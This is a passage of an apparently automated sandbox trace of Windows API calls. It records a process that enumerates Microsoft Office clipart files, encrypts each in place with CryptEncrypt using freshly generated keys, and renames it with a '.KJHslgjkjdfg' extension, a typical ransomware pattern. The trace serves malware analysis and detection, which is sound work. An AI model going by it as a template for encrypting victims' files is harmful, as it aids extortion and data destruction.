pdwDataLen=0x4dff258*=0x40) returned 1 [0238.746] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0238.746] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0238.746] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0238.746] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0238.746] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0238.746] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0238.747] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0238.747] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0238.747] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0238.747] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.747] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x28ae, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x28ae, lpOverlapped=0x0) returned 1 [0238.748] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x28b0, dwBufLen=0x28b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x28b0) returned 1 [0238.748] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.748] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x28b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x28b0, lpOverlapped=0x0) returned 1 [0238.748] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0238.748] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2984, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.748] SetEndOfFile (hFile=0x130) returned 1 [0238.751] GetProcessHeap () returned 0x2ef0000 [0238.751] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0238.751] GetProcessHeap () returned 0x2ef0000 [0238.751] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0238.752] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00828_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00828_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00828_.wmf.kjhslgjkjdfg")) returned 1 [0238.753] CloseHandle (hObject=0x130) returned 1 [0238.753] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce6bec00, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xce6bec00, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x36da, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00834_.WMF", cAlternateFileName="")) returned 1 [0238.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00834_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00834_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0238.755] GetProcessHeap () returned 0x2ef0000 [0238.755] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0238.755] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0238.755] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0238.755] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0238.756] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0238.756] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0238.756] GetProcessHeap () returned 0x2ef0000 [0238.756] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0238.757] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0238.757] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0238.757] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0238.757] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0238.757] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0238.757] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0238.757] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0238.757] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0238.757] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0238.758] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0238.758] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.758] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x36da, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x36da, lpOverlapped=0x0) returned 1 [0238.759] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x36e0, dwBufLen=0x36e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x36e0) returned 1 [0238.759] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.759] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x36e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x36e0, lpOverlapped=0x0) returned 1 [0238.759] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0238.759] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x37b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.759] SetEndOfFile (hFile=0x130) returned 1 [0238.761] GetProcessHeap () returned 0x2ef0000 [0238.762] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0238.762] GetProcessHeap () returned 0x2ef0000 [0238.762] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0238.762] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00834_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00834_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00834_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00834_.wmf.kjhslgjkjdfg")) returned 1 [0238.763] CloseHandle (hObject=0x130) returned 1 [0238.764] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc613b100, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc613b100, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x3fe8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00837_.WMF", cAlternateFileName="")) returned 1 [0238.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00837_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00837_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0238.766] GetProcessHeap () returned 0x2ef0000 [0238.766] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0238.766] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0238.766] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0238.767] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0238.769] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0238.769] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0238.769] GetProcessHeap () returned 0x2ef0000 [0238.769] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0238.769] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0238.769] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0238.769] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0238.769] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0238.770] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0238.770] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0238.770] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0238.770] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0238.770] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0238.770] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0238.770] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.771] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3fe8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3fe8, lpOverlapped=0x0) returned 1 [0238.771] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3ff0, dwBufLen=0x3ff0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3ff0) returned 1 [0238.772] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.772] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3ff0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3ff0, lpOverlapped=0x0) returned 1 [0238.772] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0238.772] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x40c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.772] SetEndOfFile (hFile=0x130) returned 1 [0238.775] GetProcessHeap () returned 0x2ef0000 [0238.775] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0238.775] GetProcessHeap () returned 0x2ef0000 [0238.775] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0238.775] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00837_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00837_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00837_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00837_.wmf.kjhslgjkjdfg")) returned 1 [0238.778] CloseHandle (hObject=0x130) returned 1 [0238.778] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1898, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00910_.WMF", cAlternateFileName="")) returned 1 [0238.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00910_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00910_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0238.779] GetProcessHeap () returned 0x2ef0000 [0238.779] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0238.779] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0238.779] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0238.779] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0238.787] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0238.787] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0238.787] GetProcessHeap () returned 0x2ef0000 [0238.788] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0238.788] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0238.788] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0238.788] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0238.788] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0238.788] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0238.788] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0238.788] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0238.788] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0238.788] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0238.788] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0238.788] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.789] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1898, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1898, lpOverlapped=0x0) returned 1 [0238.806] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x18a0, dwBufLen=0x18a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x18a0) returned 1 [0238.806] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.806] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x18a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x18a0, lpOverlapped=0x0) returned 1 [0238.807] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0238.807] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1974, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.807] SetEndOfFile (hFile=0x130) returned 1 [0238.810] GetProcessHeap () returned 0x2ef0000 [0238.810] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0238.810] GetProcessHeap () returned 0x2ef0000 [0238.810] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0238.810] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00910_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00910_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00910_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00910_.wmf.kjhslgjkjdfg")) returned 1 [0238.812] CloseHandle (hObject=0x130) returned 1 [0238.812] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x29f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00911_.WMF", cAlternateFileName="")) returned 1 [0238.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00911_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00911_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0238.814] GetProcessHeap () returned 0x2ef0000 [0238.814] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0238.814] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0238.814] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0238.814] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0238.888] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0238.888] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0238.888] GetProcessHeap () returned 0x2ef0000 [0238.888] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0238.888] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0238.888] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0238.888] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0238.888] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0238.889] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0238.889] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, 